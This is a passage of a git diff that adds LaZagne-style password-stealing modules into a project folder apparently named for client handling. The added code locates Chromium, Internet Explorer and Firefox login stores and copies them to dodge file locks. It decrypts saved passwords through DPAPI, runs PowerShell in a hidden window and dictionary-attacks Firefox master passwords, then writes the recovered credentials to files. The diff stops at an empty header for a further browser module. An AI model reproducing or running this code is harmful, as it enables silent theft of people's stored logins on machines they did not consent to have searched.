+ if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'):
+ for pwds in pwds_tab:
+ if category.lower() == 'lsa_secrets':
+ for d in pwds:
+ string += u'%s\r\n' % (constant.st.try_unicode(d))
+ else:
+ string += u'%s\r\n' % (constant.st.try_unicode(pwds))
+ else:
+ for pwds in pwds_tab:
+ string += u'\r\nPassword found!\r\n'
+ for pwd in pwds:
+ try:
+ name, value = pwd.split(':', 1)
+ string += u'%s: %s\r\n' % (
+ name.strip(), constant.st.try_unicode(value.strip()))
+ except Exception:
+ print_debug('DEBUG', traceback.format_exc())
+ string += u'\r\n'
+ except Exception:
+ print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc()))
+
+ return string
+
+
+def write_in_file(result):
+ """
+ Write output to file (json and txt files)
+ """
+ if result:
+ if constant.output in ('json', 'all'):
+ try:
+ # Human readable Json format
+ pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False)
+ with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f:
+ f.write(pretty_json.encode())
+
+ constant.st.do_print(u'[+] File written: {file}'.format(
+ file=os.path.join(constant.folder_name, constant.file_name_results + '.json'))
+ )
+ except Exception as e:
+ print_debug('DEBUGG', traceback.format_exc())
+
+ if constant.output in ('txt', 'all'):
+ try:
+ with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f:
+ a = json_to_string(result)
+ f.write(a.encode())
+
+ constant.st.write_footer()
+ constant.st.do_print(u'[+] File written: {file}'.format(
+ file=os.path.join(constant.folder_name, constant.file_name_results + '.txt'))
+ )
+ except Exception as e:
+ print_debug('DEBUG', traceback.format_exc())
diff --git a/foreign/client_handling/lazagne/softwares/__init__.py b/foreign/client_handling/lazagne/softwares/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/browsers/__init__.py b/foreign/client_handling/lazagne/softwares/browsers/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py
new file mode 100644
index 0000000..7fc7e85
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py
@@ -0,0 +1,203 @@
+# -*- coding: utf-8 -*-
+import base64
+import json
+import os
+import random
+import shutil
+import sqlite3
+import string
+import tempfile
+import traceback
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.softwares.windows.credman import Credman
+
+
+class ChromiumBased(ModuleInfo):
+ def __init__(self, browser_name, paths):
+ self.paths = paths if isinstance(paths, list) else [paths]
+ self.database_query = 'SELECT action_url, username_value, password_value FROM logins'
+ ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)
+
+ def _get_database_dirs(self):
+ """
+ Return database directories for all profiles within all paths
+ """
+ databases = set()
+ for path in [p.format(**constant.profile) for p in self.paths]:
+ profiles_path = os.path.join(path, u'Local State')
+ if os.path.exists(profiles_path):
+ # List all users profile (empty string means current dir, without a profile)
+ profiles = {'Default', ''}
+
+ # Automatic join all other additional profiles
+ for dirs in os.listdir(path):
+ dirs_path = os.path.join(path, dirs)
+ if (os.path.isdir(dirs_path) == True) and (dirs.startswith('Profile')):
+ profiles.extend(dirs)
+
+ with open(profiles_path) as f:
+ try:
+ data = json.load(f)
+ # Add profiles from json to Default profile. set removes duplicates
+ profiles |= set(data['profile']['info_cache'])
+ except Exception:
+ pass
+
+ # Each profile has its own password database
+ for profile in profiles:
+ # Some browsers use names other than "Login Data"
+ # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18"
+ try:
+ db_files = os.listdir(os.path.join(path, profile))
+ except Exception:
+ continue
+ for db in db_files:
+ if u'login data' in db.lower():
+ databases.add(os.path.join(path, profile, db))
+ return databases
+
+ def _export_credentials(self, db_path, is_yandex=False):
+ """
+ Export credentials from the given database
+
+ :param unicode db_path: database path
+ :return: list of credentials
+ :rtype: tuple
+ """
+ credentials = []
+ yandex_enckey = None
+
+ if is_yandex:
+ try:
+ credman_passwords = Credman().run()
+ for credman_password in credman_passwords:
+ if b'Yandex' in credman_password.get('URL', b''):
+ if credman_password.get('Password'):
+ yandex_enckey = credman_password.get('Password')
+ self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey)))
+ except Exception:
+ self.debug(traceback.format_exc())
+ # Passwords could not be decrypted without encKey
+ self.info('EncKey has not been retrieved')
+ return []
+
+ try:
+ conn = sqlite3.connect(db_path)
+ cursor = conn.cursor()
+ cursor.execute(self.database_query)
+ except Exception:
+ self.debug(traceback.format_exc())
+ return credentials
+
+ for url, login, password in cursor.fetchall():
+ try:
+ # Yandex passwords use a masterkey stored on windows credential manager
+ # https://yandex.com/support/browser-passwords-crypto/without-master.html
+ if is_yandex and yandex_enckey:
+ try:
+ p = json.loads(str(password))
+ except Exception:
+ p = json.loads(password)
+
+ password = base64.b64decode(p['p'])
+
+ # Passwords are stored using AES-256-GCM algorithm
+ # The key used to encrypt is stored on the credential manager
+
+ # from cryptography.hazmat.primitives.ciphers.aead import AESGCM
+ # aesgcm = AESGCM(yandex_enckey)
+ # Failed...
+ else:
+ # Decrypt the Password
+ password = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
+ user_dpapi=constant.user_dpapi)
+
+ if not url and not login and not password:
+ continue
+
+ credentials.append((url, login, password))
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ conn.close()
+ return credentials
+
+ def copy_db(self, database_path):
+ """
+ Copying db will bypass lock errors
+ Using user tempfile will produce an error when impersonating users (Permission denied)
+ A public directory should be used if this error occured (e.g C:\\Users\\Public)
+ """
+ random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)])
+ root_dir = [
+ tempfile.gettempdir(),
+ os.environ.get('PUBLIC', None),
+ os.environ.get('SystemDrive', None) + '\\',
+ ]
+ for r in root_dir:
+ try:
+ temp = os.path.join(r, random_name)
+ shutil.copy(database_path, temp)
+ self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp))
+ return temp
+ except Exception:
+ self.debug(traceback.format_exc())
+ return False
+
+ def clean_file(self, db_path):
+ try:
+ os.remove(db_path)
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ def run(self):
+ credentials = []
+ for database_path in self._get_database_dirs():
+ is_yandex = False if 'yandex' not in database_path.lower() else True
+
+ # Remove Google Chrome false positif
+ if database_path.endswith('Login Data-journal'):
+ continue
+
+ self.debug('Database found: {db}'.format(db=database_path))
+
+ # Copy database before to query it (bypass lock errors)
+ path = self.copy_db(database_path)
+ if path:
+ try:
+ credentials.extend(self._export_credentials(path, is_yandex))
+ except Exception:
+ self.debug(traceback.format_exc())
+ self.clean_file(path)
+
+ return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]
+
+
+# Name, path or a list of paths
+chromium_browsers = [
+ (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'),
+ (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'),
+ (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'),
+ (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'),
+ (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'),
+ (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'),
+ (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'),
+ (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'),
+ (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based
+ (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'),
+ (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'),
+ (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
+ (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
+ (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
+ (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
+ (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
+ (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
+ (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'),
+ (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'),
+ (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data')
+]
+
+chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]
diff --git a/foreign/client_handling/lazagne/softwares/browsers/ie.py b/foreign/client_handling/lazagne/softwares/browsers/ie.py
new file mode 100644
index 0000000..fcbbac8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/ie.py
@@ -0,0 +1,197 @@
+import hashlib
+import subprocess
+import traceback
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+try:
+ import _subprocess as sub
+ STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
+ SW_HIDE = sub.SW_HIDE
+except ImportError:
+ STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
+ SW_HIDE = subprocess.SW_HIDE
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+class IE(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)
+
+ def get_hash_table(self):
+ # get the url list
+ urls = self.get_history()
+
+ # calculate the hash for all urls found on the history
+ hash_tables = []
+ for u in range(len(urls)):
+ try:
+ h = (urls[u] + '\0').encode('UTF-16LE')
+ hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])
+ except Exception:
+ self.debug(traceback.format_exc())
+ return hash_tables
+
+ def get_history(self):
+ urls = self.history_from_regedit()
+ try:
+ urls = urls + self.history_from_powershell()
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',
+ 'https://accounts.google.com/servicelogin']
+ return urls
+
+ def history_from_powershell(self):
+ # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/
+ cmdline = '''
+ function get-iehistory {
+ [CmdletBinding()]
+ param ()
+
+ $shell = New-Object -ComObject Shell.Application
+ $hist = $shell.NameSpace(34)
+ $folder = $hist.Self
+
+ $hist.Items() |
+ foreach {
+ if ($_.IsFolder) {
+ $siteFolder = $_.GetFolder
+ $siteFolder.Items() |
+ foreach {
+ $site = $_
+
+ if ($site.IsFolder) {
+ $pageFolder = $site.GetFolder
+ $pageFolder.Items() |
+ foreach {
+ $visit = New-Object -TypeName PSObject -Property @{
+ URL = $($pageFolder.GetDetailsOf($_,0))
+ }
+ $visit
+ }
+ }
+ }
+ }
+ }
+ }
+ get-iehistory
+ '''
+ command = ['powershell.exe', '/c', cmdline]
+ info = subprocess.STARTUPINFO()
+ info.dwFlags = STARTF_USESHOWWINDOW
+ info.wShowWindow = SW_HIDE
+ p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
+ stdin=subprocess.PIPE, universal_newlines=True)
+ results, _ = p.communicate()
+
+ urls = []
+ for r in results.split('\n'):
+ if r.startswith('http'):
+ urls.append(r.strip())
+ return urls
+
+ def history_from_regedit(self):
+ urls = []
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
+ except Exception:
+ self.debug(traceback.format_exc())
+ return []
+
+ num = winreg.QueryInfoKey(hkey)[1]
+ for x in range(0, num):
+ k = winreg.EnumValue(hkey, x)
+ if k:
+ urls.append(k[1])
+ winreg.CloseKey(hkey)
+ return urls
+
+ def decipher_password(self, cipher_text, u):
+ pwd_found = []
+ # deciper the password
+ pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ a = ''
+ if pwd:
+ for i in range(len(pwd)):
+ try:
+ a = pwd[i:].decode('UTF-16LE')
+ a = a.decode('utf-8')
+ break
+ except Exception:
+ return []
+ if not a:
+ return []
+ # the last one is always equal to 0
+ secret = a.split('\x00')
+ if secret[len(secret) - 1] == '':
+ secret = secret[:len(secret) - 1]
+
+ # define the length of the tab
+ if len(secret) % 2 == 0:
+ length = len(secret)
+ else:
+ length = len(secret) - 1
+
+ # list username / password in clear text
+ password = None
+ for s in range(length):
+ try:
+ if s % 2 != 0:
+ pwd_found.append({
+ 'URL': u.decode('UTF-16LE'),
+ 'Login': secret[length - s],
+ 'Password': password
+ })
+ else:
+ password = secret[length - s]
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ return pwd_found
+
+ def run(self):
+ if float(win.get_os_version()) > 6.1:
+ self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')
+ return
+
+ pwd_found = []
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2')
+ except Exception:
+ self.debug(traceback.format_exc())
+ else:
+ nb_site = 0
+ nb_pass_found = 0
+
+ # retrieve the urls from the history
+ hash_tables = self.get_hash_table()
+
+ num = winreg.QueryInfoKey(hkey)[1]
+ for x in range(0, num):
+ k = winreg.EnumValue(hkey, x)
+ if k:
+ nb_site += 1
+ for h in hash_tables:
+ # both hash are similar, we can decipher the password
+ if h[1] == k[0][:40].lower():
+ nb_pass_found += 1
+ cipher_text = k[1]
+ pwd_found += self.decipher_password(cipher_text, h[0])
+ break
+
+ winreg.CloseKey(hkey)
+
+ # manage errors
+ if nb_site > nb_pass_found:
+ self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '
+ u'passwords has not been found' % str(nb_site - nb_pass_found))
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/browsers/mozilla.py b/foreign/client_handling/lazagne/softwares/browsers/mozilla.py
new file mode 100644
index 0000000..6f9c7e7
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/mozilla.py
@@ -0,0 +1,490 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)
+# from https://github.com/lclevy/firepwd/blob/master/firepwd.py
+
+import hmac
+import json
+import sqlite3
+import struct
+import traceback
+from base64 import b64decode
+from binascii import unhexlify
+from hashlib import sha1
+
+from pyasn1.codec.der import decoder
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, CBC
+from foreign.client_handling.lazagne.config.dico import get_dic
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, convert_to_byte
+
+try:
+ from ConfigParser import RawConfigParser # Python 2.7
+except ImportError:
+ from configparser import RawConfigParser # Python 3
+import os
+
+
+def l(n):
+ try:
+ return long(n)
+ except NameError:
+ return int(n)
+
+
+def long_to_bytes(n, blocksize=0):
+ """long_to_bytes(n:long, blocksize:int) : string
+ Convert a long integer to a byte string.
+ If optional blocksize is given and greater than zero, pad the front of the
+ byte string with binary zeros so that the length is a multiple of
+ blocksize.
+ """
+ # after much testing, this algorithm was deemed to be the fastest
+ s = convert_to_byte('')
+ n = l(n)
+ while n > 0:
+ s = struct.pack('>I', n & 0xffffffff) + s
+ n = n >> 32
+
+ # strip off leading zeros
+ for i in range(len(s)):
+ if s[i] != convert_to_byte('\000')[0]:
+ break
+ else:
+ # only happens when n == 0
+ s = convert_to_byte('\000')
+ i = 0
+ s = s[i:]
+ # add back some pad bytes. this could be done more efficiently w.r.t. the
+ # de-padding being done above, but sigh...
+ if blocksize > 0 and len(s) % blocksize:
+ s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s
+
+ return s
+
+
+class Mozilla(ModuleInfo):
+
+ def __init__(self, browser_name, path):
+ self.path = path
+ ModuleInfo.__init__(self, browser_name, 'browsers')
+
+ def get_firefox_profiles(self, directory):
+ """
+ List all profiles
+ """
+ cp = RawConfigParser()
+ profile_list = []
+ try:
+ cp.read(os.path.join(directory, 'profiles.ini'))
+ for section in cp.sections():
+ if section.startswith('Profile') and cp.has_option(section, 'Path'):
+ profile_path = None
+
+ if cp.has_option(section, 'IsRelative'):
+ if cp.get(section, 'IsRelative') == '1':
+ profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
+ elif cp.get(section, 'IsRelative') == '0':
+ profile_path = cp.get(section, 'Path').strip()
+
+ else: # No "IsRelative" in profiles.ini
+ profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
+
+ if profile_path:
+ profile_path.replace('/', '\\')
+ profile_list.append(profile_path)
+
+ except Exception as e:
+ self.error(u'An error occurred while reading profiles.ini: {}'.format(e))
+ return profile_list
+
+ def get_key(self, profile):
+ """
+ Get main key used to encrypt all data (user / password).
+ Depending on the Firefox version, could be stored in key3.db or key4.db file.
+ """
+ try:
+ row = None
+ # Remove error when file is empty
+ with open(os.path.join(profile, 'key4.db'), 'rb') as f:
+ content = f.read()
+
+ if content:
+ conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
+ c = conn.cursor()
+ # First check password
+ c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
+ try:
+ row = c.next() # Python 2
+ except Exception:
+ row = next(c) # Python 3
+
+ except Exception:
+ self.debug(traceback.format_exc())
+ else:
+ if row:
+ (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='', key_data=row)
+
+ if global_salt:
+ # Decrypt 3DES key to decrypt "logins.json" content
+ c.execute("SELECT a11,a102 FROM nssPrivate;")
+ for row in c:
+ if row[0]:
+ break
+ a11 = row[0] # CKA_VALUE
+ a102 = row[1] # f8000000000000000000000000000001, CKA_ID
+ # self.print_asn1(a11, len(a11), 0)
+ # SEQUENCE {
+ # SEQUENCE {
+ # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
+ # SEQUENCE {
+ # OCTETSTRING entry_salt_for_3des_key
+ # INTEGER 01
+ # }
+ # }
+ # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)
+ # }
+ decoded_a11 = decoder.decode(a11)
+ entry_salt = decoded_a11[0][0][1][0].asOctets()
+ cipher_t = decoded_a11[0][1].asOctets()
+ key = self.decrypt_3des(global_salt, master_password, entry_salt, cipher_t)
+ if key:
+ self.debug(u'key: {key}'.format(key=repr(key)))
+ yield key[:24]
+
+ try:
+ key_data = self.read_bsddb(os.path.join(profile, 'key3.db'))
+ # Check masterpassword
+ (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='',
+ key_data=key_data,
+ new_version=False)
+ if global_salt:
+ key = self.extract_secret_key(key_data=key_data,
+ global_salt=global_salt,
+ master_password=master_password,
+ entry_salt=entry_salt)
+ if key:
+ self.debug(u'key: {key}'.format(key=repr(key)))
+ yield key[:24]
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ @staticmethod
+ def get_short_le(d, a):
+ return struct.unpack('<H', d[a:a + 2])[0]
+
+ @staticmethod
+ def get_long_be(d, a):
+ return struct.unpack('>L', d[a:a + 4])[0]
+
+ def print_asn1(self, d, l, rl):
+ """
+ Used for debug
+ """
+ type_ = char_to_int(d[0])
+ length = char_to_int(d[1])
+ if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html,
+ # nByteLength = length & 0x7f
+ length = char_to_int(d[2])
+ # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and
+ # bits 7-1 give the number of additional length octets.
+ skip = 1
+ else:
+ skip = 0
+
+ if type_ == 0x30:
+ seq_len = length
+ read_len = 0
+ while seq_len > 0:
+ len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)
+ seq_len = seq_len - len2
+ read_len = read_len + len2
+ return length + 2
+ elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER
+ return length + 2
+ elif length == l - 2:
+ self.print_asn1(d[2:], length, rl + 1)
+ return length
+
+ def read_bsddb(self, name):
+ """
+ Extract records from a BSD DB 1.85, hash mode
+ Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used
+ """
+ with open(name, 'rb') as f:
+ # http://download.oracle.com/berkeley-db/db.1.85.tar.gz
+ header = f.read(4 * 15)
+ magic = self.get_long_be(header, 0)
+ if magic != 0x61561:
+ self.error(u'Bad magic number')
+ return False
+
+ version = self.get_long_be(header, 4)
+ if version != 2:
+ self.error(u'Bad version !=2 (1.85)')
+ return False
+
+ pagesize = self.get_long_be(header, 12)
+ nkeys = self.get_long_be(header, 0x38)
+ readkeys = 0
+ page = 1
+ db1 = []
+
+ while readkeys < nkeys:
+ f.seek(pagesize * page)
+ offsets = f.read((nkeys + 1) * 4 + 2)
+ offset_vals = []
+ i = 0
+ nval = 0
+ val = 1
+ keys = 0
+
+ while nval != val:
+ keys += 1
+ key = self.get_short_le(offsets, 2 + i)
+ val = self.get_short_le(offsets, 4 + i)
+ nval = self.get_short_le(offsets, 8 + i)
+ offset_vals.append(key + pagesize * page)
+ offset_vals.append(val + pagesize * page)
+ readkeys += 1
+ i += 4
+
+ offset_vals.append(pagesize * (page + 1))
+ val_key = sorted(offset_vals)
+ for i in range(keys * 2):
+ f.seek(val_key[i])
+ data = f.read(val_key[i + 1] - val_key[i])
+ db1.append(data)
+ page += 1
+
+ db = {}
+ for i in range(0, len(db1), 2):
+ db[db1[i + 1]] = db1[i]
+
+ return db
+
+ @staticmethod
+ def decrypt_3des(global_salt, master_password, entry_salt, encrypted_data):
+ """
+ User master key is also encrypted (if provided, the master_password could be used to encrypt it)
+ """
+ # See http://www.drh-consultancy.demon.co.uk/key3.html
+ hp = sha1(global_salt + master_password.encode()).digest()
+ pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt))
+ chp = sha1(hp + entry_salt).digest()
+ k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
+ tk = hmac.new(chp, pes, sha1).digest()
+ k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
+ k = k1 + k2
+ iv = k[-8:]
+ key = k[:24]
+ return triple_des(key, CBC, iv).decrypt(encrypted_data)
+
+ def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):
+
+ if unhexlify('f8000000000000000000000000000001') not in key_data:
+ return None
+
+ priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]
+ salt_len = char_to_int(priv_key_entry[1])
+ name_len = char_to_int(priv_key_entry[2])
+ priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])
+ data = priv_key_entry[3 + salt_len + name_len:]
+ # self.print_asn1(data, len(data), 0)
+
+ # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt
+ entry_salt = priv_key_entry_asn1[0][0][1][0].asOctets()
+ priv_key_data = priv_key_entry_asn1[0][1].asOctets()
+ priv_key = self.decrypt_3des(global_salt, master_password, entry_salt, priv_key_data)
+ # self.print_asn1(priv_key, len(priv_key), 0)
+ priv_key_asn1 = decoder.decode(priv_key)
+ pr_key = priv_key_asn1[0][2].asOctets()
+ # self.print_asn1(pr_key, len(pr_key), 0)
+ pr_key_asn1 = decoder.decode(pr_key)
+ # id = pr_key_asn1[0][1]
+ key = long_to_bytes(pr_key_asn1[0][3])
+ return key
+
+ @staticmethod
+ def decode_login_data(data):
+ asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode
+ # For login and password, keep :(key_id, iv, ciphertext)
+ return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()
+
+ def get_login_data(self, profile):
+ """
+ Get encrypted data (user / password) and host from the json or sqlite files
+ """
+ conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))
+ logins = []
+ c = conn.cursor()
+ try:
+ c.execute('SELECT * FROM moz_logins;')
+ except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3
+ try:
+ logins_json = os.path.join(profile, 'logins.json')
+ if os.path.isfile(logins_json):
+ with open(logins_json) as f:
+ loginf = f.read()
+ if loginf:
+ json_logins = json.loads(loginf)
+ if 'logins' not in json_logins:
+ self.debug('No logins key in logins.json')
+ return logins
+ for row in json_logins['logins']:
+ enc_username = row['encryptedUsername']
+ enc_password = row['encryptedPassword']
+ logins.append((self.decode_login_data(enc_username),
+ self.decode_login_data(enc_password), row['hostname']))
+ return logins
+ except Exception:
+ self.debug(traceback.format_exc())
+ return []
+
+ # Using sqlite3 database
+ for row in c:
+ enc_username = row[6]
+ enc_password = row[7]
+ logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))
+ return logins
+
+ def manage_masterpassword(self, master_password='', key_data=None, new_version=True):
+ """
+ Check if a master password is set.
+ If so, try to find it using a dictionary attack
+ """
+ (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,
+ key_data=key_data,
+ new_version=new_version)
+
+ if not global_salt:
+ self.info(u'Master Password is used !')
+ (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,
+ new_version=new_version)
+ if not master_password:
+ return '', '', ''
+
+ return global_salt, master_password, entry_salt
+
+ def is_master_password_correct(self, key_data, master_password='', new_version=True):
+ try:
+ if not new_version:
+ # See http://www.drh-consultancy.demon.co.uk/key3.html
+ pwd_check = key_data.get(b'password-check')
+ if not pwd_check:
+ return '', '', ''
+ entry_salt_len = char_to_int(pwd_check[1])
+ entry_salt = pwd_check[3: 3 + entry_salt_len]
+ encrypted_passwd = pwd_check[-16:]
+ global_salt = key_data[b'global-salt']
+
+ else:
+ global_salt = key_data[0] # Item1
+ item2 = key_data[1]
+ # self.print_asn1(item2, len(item2), 0)
+ # SEQUENCE {
+ # SEQUENCE {
+ # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
+ # SEQUENCE {
+ # OCTETSTRING entry_salt_for_passwd_check
+ # INTEGER 01
+ # }
+ # }
+ # OCTETSTRING encrypted_password_check
+ # }
+ decoded_item2 = decoder.decode(item2)
+ entry_salt = decoded_item2[0][0][1][0].asOctets()
+ encrypted_passwd = decoded_item2[0][1].asOctets()
+
+ cleartext_data = self.decrypt_3des(global_salt, master_password, entry_salt, encrypted_passwd)
+ if cleartext_data != convert_to_byte('password-check\x02\x02'):
+ return '', '', ''
+
+ return global_salt, master_password, entry_salt
+ except Exception:
+ self.debug(traceback.format_exc())
+ return '', '', ''
+
+ def brute_master_password(self, key_data, new_version=True):
+ """
+ Try to find master_password doing a dictionary attack using the 500 most used passwords
+ """
+ wordlist = constant.password_found + get_dic()
+ num_lines = (len(wordlist) - 1)
+ self.info(u'%d most used passwords! ' % num_lines)
+
+ for word in wordlist:
+ global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,
+ master_password=word.strip(),
+ new_version=new_version)
+ if master_password:
+ self.debug(u'Master password found: {}'.format(master_password))
+ return global_salt, master_password, entry_salt
+
+ self.warning(u'No password has been found using the default list')
+ return '', '', ''
+
+ def remove_padding(self, data):
+ """
+ Remove PKCS#7 padding
+ """
+ try:
+ nb = struct.unpack('B', data[-1])[0] # Python 2
+ except Exception:
+ nb = data[-1] # Python 3
+
+ try:
+ return data[:-nb]
+ except Exception:
+ self.debug(traceback.format_exc())
+ return data
+
+ def decrypt(self, key, iv, ciphertext):
+ """
+ Decrypt ciphered data (user / password) using the key previously found
+ """
+ data = triple_des(key, CBC, iv).decrypt(ciphertext)
+ return self.remove_padding(data)
+
+ def run(self):
+ """
+ Main function
+ """
+ # path = self.get_path(software_name)
+ pwd_found = []
+ self.path = self.path.format(**constant.profile)
+ if os.path.exists(self.path):
+ for profile in self.get_firefox_profiles(self.path):
+ self.debug(u'Profile path found: {profile}'.format(profile=profile))
+
+ credentials = self.get_login_data(profile)
+ if credentials:
+ for key in self.get_key(profile):
+ for user, passw, url in credentials:
+ try:
+ pwd_found.append({
+ 'URL': url,
+ 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode("utf-8"),
+ 'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode("utf-8"),
+ })
+ except Exception as e:
+ self.debug(u'An error occurred decrypting the password: {error}'.format(error=e))
+ else:
+ self.info(u'Database empty')
+
+ return pwd_found
+
+
+# Name, path
+firefox_browsers = [
+ (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'),
+ (u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'),
+ (u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'),
+ (u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'),
+ (u'k-Meleon', u'{APPDATA}\\K-Meleon'),
+ (u'icecat', u'{APPDATA}\\Mozilla\\icecat'),
+]
+
+firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]
diff --git a/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py b/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py
new file mode 100644
index 0000000..0089441
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py
@@ -0,0 +1,21 @@
